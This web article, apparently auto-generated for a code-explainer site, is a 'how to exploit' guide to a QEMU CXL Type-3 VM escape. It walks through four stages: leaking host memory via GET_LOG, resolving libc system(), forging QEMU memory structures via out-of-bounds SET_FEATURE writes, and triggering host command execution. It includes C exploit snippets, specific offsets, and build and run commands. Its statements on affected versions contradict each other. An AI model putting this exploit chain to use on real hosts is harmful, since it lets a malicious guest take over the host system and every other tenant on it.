How to Exploit the CXL SET_FEATURE Handler Vulnerability in QEMU: A Complete Guide

The QEMU CXL Type-3 SET_FEATURE handler contains a missing bounds check that allows guest-to-host escapes via out-of-bounds writes to rank_sparing_wr_attrs, enabling arbitrary code execution by forging QEMU internal memory structures.

This guide analyzes a critical vulnerability in QEMU’s Compute Express Link (CXL) Type-3 device implementation that permits a malicious guest to execute arbitrary code on the host. The exploit, documented in the bikini/exploitarium repository, leverages improper input validation in the mailbox command handlers to achieve a complete VM escape.

Vulnerability Root Cause: Missing Bounds Checking

The flaw resides in QEMU’s handling of the SET_FEATURE command for rank-sparing attributes. According to the source code analysis, the handler copies guest-supplied data directly into ct3d->rank_sparing_wr_attrs + hdr->offset without validating whether the offset and length remain within the allocated buffer boundaries.

This omission allows an attacker to write beyond the intended buffer limits, corrupting the tail of the CXLType3Dev object. By carefully calculating offsets, the exploit overwrites adjacent heap memory containing critical QEMU structures including FlatView, AddressSpaceDispatch, MemoryRegionSection, MemoryRegion, and MemoryRegionOps. Once these structures are compromised, the attacker controls function pointers that QEMU invokes during memory operations, leading to arbitrary host code execution.

The Four-Stage Exploitation Chain

The proof-of-concept implemented in stage2.c executes a sophisticated four-stage attack to bypass modern virtualization defenses.

Stage 1: Leaking Host Pointers via GET_LOG

Before crafting the exploit payload, the attacker must defeat Address Space Layout Randomization (ASLR) by leaking host memory addresses. The GET_LOG handler contains a similar bounds-checking flaw: it validates offset + length against cci->cel_log size but then copies from cci->cel_log + offset without proper constraints.

By supplying an out-of-bounds offset, the guest reads arbitrary host memory. The PoC specifically targets two critical offsets:

  • cmd_logs_get_log at 0x4ad6f0 to recover the QEMU text base (PIE)
  • rank_sparing_wr_attrs at 0x6c5b6a to locate the exact CXLType3Dev object address
/* Leak an arbitrary 64-bit host value via GET_LOG */
static U64 leak_rel(u32 rel)
{
    u32 off = GET_LOG_OOB_BASE_OFFSET + (rel >> 2);
    payload_write(0, cel_uuid, 16);
    w32(MBOX_PAYLOAD + 16, off);
    w32(MBOX_PAYLOAD + 20, 8);
    mailbox_cmd(CMD_GET_LOG, 24);
    return (U64){ r32(MBOX_PAYLOAD), r32(MBOX_PAYLOAD + 4) };
}

Stage 2: Deriving libc Symbols and system()

With the QEMU base address leaked, the exploit calculates the location of memmove@plt at 0x3381b0 and the __libc_start_main GOT entry at 0x1ad6fe8. By invoking a fake callback to memmove@plt, the guest obtains the real libc base address, then adds the known offset of system() (0x58750) to resolve the final target for code execution.

Stage 3: Forging CXL Objects via SET_FEATURE

Using the SET_FEATURE command (CMD_SET_FEAT) with a feature offset of 0x2e, the exploit writes a crafted object graph into the out-of-bounds region. The payload constructs a chain of fake structures:

  • FlatView at rank + FAKE_FLATVIEW_OFF
  • AddressSpaceDispatch at FAKE_DISPATCH_OFF
  • MemoryRegionSection at FAKE_SECTION_OFF
  • MemoryRegion at FAKE_MEMORY_REGION_OFF
  • MemoryRegionOps at FAKE_OPS_OFF

All capacity, region size, and bitmap fields are populated to satisfy QEMU’s internal sanity checks, ensuring the forged objects appear valid during subsequent memory operations.

/* Write forged structures via SET_FEATURE */
static void send_rank(u16 feature_off, const u8 *data, u32 n)
{
    payload_write(0, rank_uuid, 16);
    w32(MBOX_PAYLOAD + 16, 1);
    w32(MBOX_PAYLOAD + 20, ((u32)1 << 16) | feature_off);
    payload_write_zero(24, 8);
    payload_write(32, data, n);
    mailbox_cmd(CMD_SET_FEAT, 32 + n);
}

Stage 4: Triggering Arbitrary Host Code Execution

The final stage sends a MEDIA_OPERATIONS command (CMD_MEDIA_OP) to sanitize the dynamic-capacity address space via address_space_set(). The previously forged MemoryRegionOps.write callback now points to the resolved system() address, and the PoC supplies a command string ("id>/tmp/qemu_cxl_escape_marker"). When QEMU processes the media operation, it invokes the attacker-controlled callback, executing the shell command on the host and creating the marker file to confirm successful exploitation.

/* Trigger the forged callback */
static void trigger_media_sanitize(void)
{
    w32(MBOX_PAYLOAD + 0, 0x00000001u);
    w32(MBOX_PAYLOAD + 4, 0x00000001u);
    w32(MBOX_PAYLOAD + 8, CXL_STATIC_VMEM_SIZE);
    w32(MBOX_PAYLOAD + 12, 0);
    w32(MBOX_PAYLOAD + 16, CXL_CACHELINE_SIZE);
    w32(MBOX_PAYLOAD + 20, 0);
    mailbox_cmd(CMD_MEDIA_OP, 24);
}

Practical Implementation and PoC Code

The bikini/exploitarium repository provides a complete freestanding 32-bit implementation that runs inside the guest VM without requiring an operating system.

Building and Running the Exploit

The exploit requires QEMU 11.0.50 or later built with CXL-Type-3 support. Execute the provided scripts to build the PoC image and launch the attack:


# Build the PoC image (requires nasm, gcc -m32, and ld)

sh build.sh

# Run the PoC against a vulnerable QEMU binary

sh run.sh /absolute/path/to/qemu-system-x86_64

The run.sh script configures a CXL-enabled q35 machine, loads the pre-built BIOS floppy (poc.img), and executes the stage2 payload. Successful exploitation prints the serial trace containing leaked addresses and creates /tmp/qemu_cxl_escape_marker on the host filesystem.

Key Exploit Files

  • stage2.c: Contains the full exploit implementation including memory leak primitives, object forgery logic, and the trigger mechanism
  • boot.asm: 16-bit bootloader that loads the stage2 payload from the floppy image
  • run.sh: Convenience script that constructs the proper QEMU command line with CXL devices enabled
  • poc.img: Pre-built BIOS floppy image containing the compiled exploit

Summary

  • The CXL SET_FEATURE handler vulnerability stems from missing bounds validation when writing to rank_sparing_wr_attrs, allowing out-of-bounds heap corruption.
  • Exploitation requires four coordinated stages: information disclosure via GET_LOG, libc base calculation via PLT/GOT leaks, object forgery via crafted SET_FEATURE writes, and code execution via MEDIA_OPERATIONS callbacks.
  • The bikini/exploitarium proof-of-concept demonstrates reliable VM escape against QEMU 11.0.50+ with CXL-Type-3 support by overwriting MemoryRegionOps function pointers to invoke system().
  • Attackers must control the guest VM and have access to the CXL mailbox interface to execute this exploit.

Frequently Asked Questions

What is the CXL SET_FEATURE vulnerability in QEMU?

The vulnerability is a missing bounds check in QEMU’s implementation of the CXL Type-3 SET_FEATURE command handler for rank-sparing attributes. The handler copies guest-controlled data into ct3d->rank_sparing_wr_attrs using a guest-supplied offset without validating that the destination range remains within the buffer. This allows attackers to write past the buffer boundary and corrupt adjacent heap memory containing QEMU internal structures, ultimately leading to arbitrary code execution on the host.

How does the GET_LOG command leak host memory?

The GET_LOG handler validates offset + length against the size of cci->cel_log but then performs the copy from cci->cel_log + offset without adequate range checking. By supplying an out-of-bounds offset, the guest can read arbitrary host memory contents. The exploit specifically reads from offsets 0x4ad6f0 (to leak the QEMU binary base) and 0x6c5b6a (to locate the CXLType3Dev object), defeating ASLR and enabling precise targeting of the heap corruption.

What structures are overwritten to achieve code execution?

The exploit forges a chain of five critical QEMU memory management structures: FlatView, AddressSpaceDispatch, MemoryRegionSection, MemoryRegion, and MemoryRegionOps. By controlling the MemoryRegionOps.write function pointer within this forged object graph, the attacker redirects execution flow to the address of system() in host libc when QEMU processes a subsequent MEDIA_OPERATIONS command, achieving arbitrary host code execution.

Which QEMU versions are affected by this vulnerability?

The vulnerability affects QEMU version 11.0.50 and earlier builds that include CXL-Type-3 device support. The exploit specifically targets the mailbox command handlers implemented in the CXL Type-3 device emulation code. Administrators should upgrade to patched versions and disable CXL Type-3 devices if virtualization of persistent memory hardware is not required.

Have a question about this repo?

These articles cover the highlights, but your codebase questions are specific. Give your agent direct access to the source. Share this with your agent to get started:

Share the following with your agent to get started:
curl -s "https://instagit.com/install.md"

Works with
Claude Codex Cursor VS Code OpenClaw Any MCP Client

Maintain an open-source project? Get it listed too →